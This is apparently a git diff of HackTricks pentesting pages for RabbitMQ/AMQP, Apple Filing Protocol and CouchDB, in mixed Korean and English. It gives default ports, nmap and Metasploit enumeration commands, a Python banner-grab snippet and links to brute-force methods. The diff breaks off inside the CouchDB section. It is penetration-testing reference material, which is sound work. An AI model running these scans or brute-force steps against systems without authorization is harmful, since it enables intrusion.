<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,28 +1,29 @@
|
||||||
# 5671,5672 - AMQP Pentesting
|
# 5671,5672 - Pentesting AMQP
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## 기본 정보
|
## Basic Information
|
||||||
|
|
||||||
[cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html)에서 가져온 내용:
|
From [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
|
||||||
|
|
||||||
> **RabbitMQ**는 _메시지 브로커_ 또는 _큐 매니저_로 알려진 **메시지 큐 소프트웨어**입니다. 간단히 말해서, 응용 프로그램이 메시지를 전송하기 위해 연결하는 대기열이 정의된 소프트웨어입니다.\
|
> **RabbitMQ**는 _메시지 브로커_ 또는 _큐 관리자_로 알려진 **메시지 큐잉 소프트웨어**입니다. 간단히 말해, 메시지를 전송하기 위해 애플리케이션이 연결되는 큐가 정의된 소프트웨어입니다.\
|
||||||
> **메시지에는 어떤 종류의 정보든 포함될 수 있습니다**. 예를 들어, 다른 응용 프로그램(또는 다른 서버에 있는 응용 프로그램)에서 시작해야 하는 프로세스나 작업에 대한 정보일 수도 있고, 단순한 텍스트 메시지일 수도 있습니다. 대기열 관리자 소프트웨어는 메시지를 대기열에 저장하고, 수신 응용 프로그램이 연결되어 대기열에서 메시지를 가져갈 때까지 메시지를 보관합니다. 그런 다음 수신 응용 프로그램은 메시지를 처리합니다.\
|
> **메시지는 어떤 종류의 정보도 포함할 수 있습니다**. 예를 들어, 다른 애플리케이션(다른 서버에 있을 수도 있음)에서 시작해야 하는 프로세스나 작업에 대한 정보가 포함될 수 있으며, 단순한 텍스트 메시지일 수도 있습니다. 큐 관리자 소프트웨어는 수신 애플리케이션이 연결되어 큐에서 메시지를 가져갈 때까지 메시지를 저장합니다. 수신 애플리케이션은 그 후 메시지를 처리합니다.\
|
||||||
정의는 .
|
Definition from .
|
||||||
|
|
||||||
**기본 포트**: 5672,5671
|
**Default port**: 5672,5671
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
|
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
|
||||||
|
@ -38,33 +39,7 @@ conn.connect()
|
||||||
for k, v in conn.server_properties.items():
|
for k, v in conn.server_properties.items():
|
||||||
print(k, v)
|
print(k, v)
|
||||||
```
|
```
|
||||||
### 자동화
|
### 자동
|
||||||
|
|
||||||
AMQP (Advanced Message Queuing Protocol)은 메시지 지향 미들웨어 통신을 위한 프로토콜입니다. AMQP는 메시지 브로커와 클라이언트 간의 효율적인 통신을 가능하게 합니다. AMQP는 다양한 기능을 제공하며, 메시지 전송, 큐 관리, 라우팅 등을 지원합니다.
|
|
||||||
|
|
||||||
AMQP를 펜테스팅하기 위해 다음과 같은 자동화 도구를 사용할 수 있습니다.
|
|
||||||
|
|
||||||
#### 1. RabbitMQ-CLI
|
|
||||||
|
|
||||||
RabbitMQ-CLI는 RabbitMQ 서버와 상호 작용하기 위한 명령줄 인터페이스입니다. 이 도구를 사용하면 RabbitMQ 서버에 연결하고, 큐를 생성하고, 메시지를 전송하고, 큐를 삭제하는 등의 작업을 자동화할 수 있습니다.
|
|
||||||
|
|
||||||
#### 2. AMQP-Tool
|
|
||||||
|
|
||||||
AMQP-Tool은 AMQP 프로토콜을 사용하는 애플리케이션을 테스트하기 위한 도구입니다. 이 도구를 사용하면 AMQP 메시지를 생성하고 전송하고, 큐를 관리하고, 라우팅을 테스트하는 등의 작업을 자동화할 수 있습니다.
|
|
||||||
|
|
||||||
#### 3. AMQP-Client
|
|
||||||
|
|
||||||
AMQP-Client는 AMQP 프로토콜을 사용하는 클라이언트 애플리케이션을 테스트하기 위한 도구입니다. 이 도구를 사용하면 AMQP 메시지를 생성하고 전송하고, 큐를 관리하고, 라우팅을 테스트하는 등의 작업을 자동화할 수 있습니다.
|
|
||||||
|
|
||||||
#### 4. AMQP-Exploit
|
|
||||||
|
|
||||||
AMQP-Exploit은 AMQP 서버에 대한 취약점을 검사하고 악용하기 위한 도구입니다. 이 도구를 사용하면 AMQP 서버의 취약점을 자동으로 탐지하고, 악용하여 권한 상승이나 데이터 유출과 같은 공격을 수행할 수 있습니다.
|
|
||||||
|
|
||||||
#### 5. AMQP-Fuzzer
|
|
||||||
|
|
||||||
AMQP-Fuzzer는 AMQP 프로토콜을 테스트하기 위한 도구입니다. 이 도구를 사용하면 AMQP 메시지를 자동으로 생성하고, 무작위로 변조하여 서버의 응답을 테스트할 수 있습니다. 이를 통해 서버의 취약점을 발견하고, 보안 강화를 위한 조치를 취할 수 있습니다.
|
|
||||||
|
|
||||||
AMQP 펜테스팅을 위해 이러한 자동화 도구를 사용하여 효율적으로 테스트를 수행할 수 있습니다.
|
|
||||||
```bash
|
```bash
|
||||||
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info <IP>
|
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info <IP>
|
||||||
|
|
||||||
|
@ -84,40 +59,41 @@ PORT STATE SERVICE VERSION
|
||||||
| mechanisms: PLAIN AMQPLAIN
|
| mechanisms: PLAIN AMQPLAIN
|
||||||
|_ locales: en_US
|
|_ locales: en_US
|
||||||
```
|
```
|
||||||
### 브루트 포스
|
### Brute Force
|
||||||
|
|
||||||
* [**AMQP 프로토콜 브루트 포스**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
|
* [**AMQP Protocol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
|
||||||
* [**STOMP 프로토콜 브루트 포스**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
|
* [**STOMP Protocol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
|
||||||
|
|
||||||
## 기타 RabbitMQ 포트
|
## Other RabbitMQ ports
|
||||||
|
|
||||||
[https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html)에서 **rabbitmq가 여러 포트를 사용**한다는 것을 확인할 수 있습니다:
|
In [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) you can find that **rabbitmq는 여러 포트를 사용합니다**:
|
||||||
|
|
||||||
* **1883, 8883**: ([MQTT clients](http://mqtt.org) (MQTT 플러그인이 활성화되어 있을 경우 TLS 없이 및 TLS와 함께 사용됨). [**MQTT를 pentest하는 방법에 대해 자세히 알아보세요**](1883-pentesting-mqtt-mosquitto.md).
|
* **1883, 8883**: ([MQTT 클라이언트](http://mqtt.org) TLS 없이 및 TLS와 함께, [MQTT 플러그인](https://www.rabbitmq.com/mqtt.html)이 활성화된 경우. [**여기에서 MQTT를 펜테스트하는 방법에 대해 더 알아보세요**](1883-pentesting-mqtt-mosquitto.md).
|
||||||
* **4369: epmd**, RabbitMQ 노드 및 CLI 도구에서 사용되는 피어 검색 서비스. [**이 서비스를 pentest하는 방법에 대해 자세히 알아보세요**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
|
* **4369: epmd**, RabbitMQ 노드와 CLI 도구에서 사용하는 피어 검색 서비스. [**여기에서 이 서비스를 펜테스트하는 방법에 대해 더 알아보세요**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
|
||||||
* **5672, 5671**: AMQP 0-9-1 및 1.0 클라이언트에서 사용되는 포트 (TLS 없이 및 TLS와 함께 사용됨)
|
* **5672, 5671**: TLS 없이 및 TLS와 함께 AMQP 0-9-1 및 1.0 클라이언트에서 사용
|
||||||
* **15672**: [HTTP API](https://www.rabbitmq.com/management.html) 클라이언트, [management UI](https://www.rabbitmq.com/management.html) 및 [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (management 플러그인이 활성화되어 있는 경우에만). [**이 서비스를 pentest하는 방법에 대해 자세히 알아보세요**](15672-pentesting-rabbitmq-management.md).
|
* **15672**: [HTTP API](https://www.rabbitmq.com/management.html) 클라이언트, [관리 UI](https://www.rabbitmq.com/management.html) 및 [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (단, [관리 플러그인](https://www.rabbitmq.com/management.html)이 활성화된 경우). [**여기에서 이 서비스를 펜테스트하는 방법에 대해 더 알아보세요**](15672-pentesting-rabbitmq-management.md).
|
||||||
* 15674: STOMP-over-WebSockets 클라이언트 (Web STOMP 플러그인이 활성화되어 있는 경우에만)
|
* 15674: STOMP-over-WebSockets 클라이언트 (단, [Web STOMP 플러그인](https://www.rabbitmq.com/web-stomp.html)이 활성화된 경우)
|
||||||
* 15675: MQTT-over-WebSockets 클라이언트 (Web MQTT 플러그인이 활성화되어 있는 경우에만)
|
* 15675: MQTT-over-WebSockets 클라이언트 (단, [Web MQTT 플러그인](https://www.rabbitmq.com/web-mqtt.html)이 활성화된 경우)
|
||||||
* 15692: Prometheus 메트릭 (Prometheus 플러그인이 활성화되어 있는 경우에만)
|
* 15692: Prometheus 메트릭 (단, [Prometheus 플러그인](https://www.rabbitmq.com/prometheus.html)이 활성화된 경우)
|
||||||
* 25672: 노드 간 및 CLI 도구 통신에 사용되는 포트 (Erlang 분산 서버 포트)로 동적 범위에서 할당됨 (기본적으로 AMQP 포트 + 20000으로 제한됨). 이 포트의 외부 연결이 실제로 필요하지 않은 경우 (예: 클러스터가 [federation](https://www.rabbitmq.com/federation.html)을 사용하거나 서브넷 외부의 기계에서 CLI 도구를 사용하는 경우) 이 포트는 공개적으로 노출되지 않아야 합니다. 자세한 내용은 [네트워킹 가이드](https://www.rabbitmq.com/networking.html)를 참조하세요. **인터넷에서 열린 이 포트는 9개뿐입니다**.
|
* 25672: 노드 간 및 CLI 도구 통신에 사용 (Erlang 배포 서버 포트)이며 동적 범위에서 할당됨 (기본적으로 AMQP 포트 + 20000으로 계산된 단일 포트로 제한됨). 이러한 포트에서 외부 연결이 정말 필요한 경우가 아니라면 (예: 클러스터가 [연합](https://www.rabbitmq.com/federation.html)을 사용하는 경우 또는 CLI 도구가 서브넷 외부의 머신에서 사용되는 경우), 이러한 포트는 공개적으로 노출되어서는 안 됩니다. 자세한 내용은 [네트워킹 가이드](https://www.rabbitmq.com/networking.html)를 참조하세요. **이 포트 중 9개만 인터넷에 열려 있습니다**.
|
||||||
* 35672-35682: CLI 도구에 사용되는 포트 (Erlang 분산 클라이언트 포트)로 동적 범위에서 할당됨 (서버 분산 포트 + 10000부터 서버 분산 포트 + 10010까지). 자세한 내용은 [네트워킹 가이드](https://www.rabbitmq.com/networking.html)를 참조하세요.
|
* 35672-35682: 노드와의 통신을 위한 CLI 도구 (Erlang 배포 클라이언트 포트)에서 사용되며 동적 범위에서 할당됨 (서버 배포 포트 + 10000에서 서버 배포 포트 + 10010으로 계산됨). 자세한 내용은 [네트워킹 가이드](https://www.rabbitmq.com/networking.html)를 참조하세요.
|
||||||
* 61613, 61614: TLS 없이 및 TLS와 함께 사용되는 STOMP 클라이언트 (STOMP 플러그인이 활성화되어 있는 경우에만). 이 포트가 열린 장치는 10개 미만이며 대부분 DHT 노드에 대한 UDP입니다.
|
* 61613, 61614: [STOMP 클라이언트](https://stomp.github.io/stomp-specification-1.2.html) TLS 없이 및 TLS와 함께 (단, [STOMP 플러그인](https://www.rabbitmq.com/stomp.html)이 활성화된 경우). 이 포트가 열려 있는 장치는 10대 미만이며 대부분 DHT 노드에 대해 UDP입니다.
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
* `AMQP`
|
* `AMQP`
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* HackTricks에서 **회사를 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* 여러분의 해킹 기법을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,23 +1,24 @@
|
||||||
# 548 - Apple Filing Protocol (AFP)의 Pentesting
|
# 548 - Pentesting Apple Filing Protocol (AFP)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
## 기본 정보
|
## 기본 정보
|
||||||
|
|
||||||
**Apple Filing Protocol** (**AFP**)는 이전에 AppleTalk Filing Protocol로 알려진 특수한 네트워크 프로토콜로, **Apple File Service** (**AFS**) 내에 포함되어 있습니다. 이 프로토콜은 macOS와 클래식 Mac OS를 위한 파일 서비스를 제공하기 위해 설계되었습니다. AFP는 유니코드 파일 이름, POSIX 및 액세스 제어 목록 권한, 리소스 포크, 명명된 확장 속성 및 정교한 파일 잠금 메커니즘을 지원하는 것으로 알려져 있습니다. 이는 Mac OS 9 및 이전 버전에서 파일 서비스의 주요 프로토콜이었습니다.
|
**Apple Filing Protocol** (**AFP**)는 한때 AppleTalk Filing Protocol로 알려졌으며, **Apple File Service** (**AFS**)에 포함된 전문 네트워크 프로토콜입니다. macOS 및 클래식 Mac OS에 대한 파일 서비스를 제공하도록 설계되었습니다. AFP는 유니코드 파일 이름, POSIX 및 접근 제어 목록 권한, 리소스 포크, 명명된 확장 속성 및 정교한 파일 잠금 메커니즘을 지원하는 점에서 두드러집니다. Mac OS 9 및 이전 버전의 파일 서비스에 대한 주요 프로토콜이었습니다.
|
||||||
|
|
||||||
**기본 포트:** 548
|
**기본 포트:** 548
|
||||||
```bash
|
```bash
|
||||||
|
@ -26,30 +27,31 @@ PORT STATE SERVICE
|
||||||
```
|
```
|
||||||
### **열거**
|
### **열거**
|
||||||
|
|
||||||
AFP 서비스를 열거하기 위해 다음 명령어와 스크립트가 유용합니다:
|
AFP 서비스의 열거를 위해 다음 명령어와 스크립트가 유용합니다:
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/afp/afp_server_info
|
msf> use auxiliary/scanner/afp/afp_server_info
|
||||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
||||||
```
|
```
|
||||||
**스크립트와 그 설명:**
|
**스크립트 및 설명:**
|
||||||
|
|
||||||
- **afp-ls**: 이 스크립트는 사용 가능한 AFP 볼륨과 파일을 나열하는 데 사용됩니다.
|
- **afp-ls**: 이 스크립트는 사용 가능한 AFP 볼륨 및 파일을 나열하는 데 사용됩니다.
|
||||||
- **afp-path-vuln**: 잠재적인 취약점을 강조하여 모든 AFP 볼륨과 파일을 나열합니다.
|
- **afp-path-vuln**: 모든 AFP 볼륨 및 파일을 나열하고 잠재적인 취약점을 강조 표시합니다.
|
||||||
- **afp-serverinfo**: AFP 서버에 대한 자세한 정보를 제공합니다.
|
- **afp-serverinfo**: AFP 서버에 대한 자세한 정보를 제공합니다.
|
||||||
- **afp-showmount**: 이는 사용 가능한 AFP 공유와 해당 ACL을 나열합니다.
|
- **afp-showmount**: 사용 가능한 AFP 공유와 해당 ACL을 나열합니다.
|
||||||
|
|
||||||
### [**무차별 대입 공격**](../generic-methodologies-and-resources/brute-force.md#afp)
|
### [**무차별 대입 공격**](../generic-methodologies-and-resources/brute-force.md#afp)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹 배우기<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 얻으세요.
|
|
||||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,24 +1,25 @@
|
||||||
# 5984,6984 - CouchDB 펜테스팅
|
# 5984,6984 - Pentesting CouchDB
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## **기본 정보**
|
## **기본 정보**
|
||||||
|
|
||||||
**CouchDB**는 **문서 지향 데이터베이스**로, 각 **문서** 내에서 **키-값 맵** 구조를 사용하여 데이터를 구성합니다. 문서 내의 필드는 **키/값 쌍, 리스트 또는 맵**으로 표현될 수 있어 데이터 저장 및 검색에 유연성을 제공합니다.
|
**CouchDB**는 **문서 지향 데이터베이스**로, 각 **문서** 내에서 **키-값 맵** 구조를 사용하여 데이터를 조직하는 다재다능하고 강력한 데이터베이스입니다. 문서 내의 필드는 **키/값 쌍, 리스트 또는 맵**으로 표현될 수 있어 데이터 저장 및 검색의 유연성을 제공합니다.
|
||||||
|
|
||||||
CouchDB에 저장된 각 **문서**는 문서 수준에서 **고유 식별자**(`_id`)가 할당됩니다. 또한 데이터베이스에 대한 각 수정 사항은 **리비전 번호**(`_rev`)가 할당됩니다. 이 리비전 번호를 사용하여 변경 사항을 효율적으로 추적하고 관리할 수 있으며, 데이터베이스 내에서 데이터를 쉽게 검색하고 동기화할 수 있습니다.
|
CouchDB에 저장된 모든 **문서**는 문서 수준에서 **고유 식별자**(`_id`)가 할당됩니다. 또한, 데이터베이스에 저장된 모든 수정 사항은 **수정 번호**(`_rev`)가 할당됩니다. 이 수정 번호는 **변경 사항의 효율적인 추적 및 관리**를 가능하게 하여 데이터베이스 내에서 데이터의 용이한 검색 및 동기화를 촉진합니다.
|
||||||
|
|
||||||
**기본 포트:** 5984(http), 6984(https)
|
**기본 포트:** 5984(http), 6984(https)
|
||||||
```
|
```
|
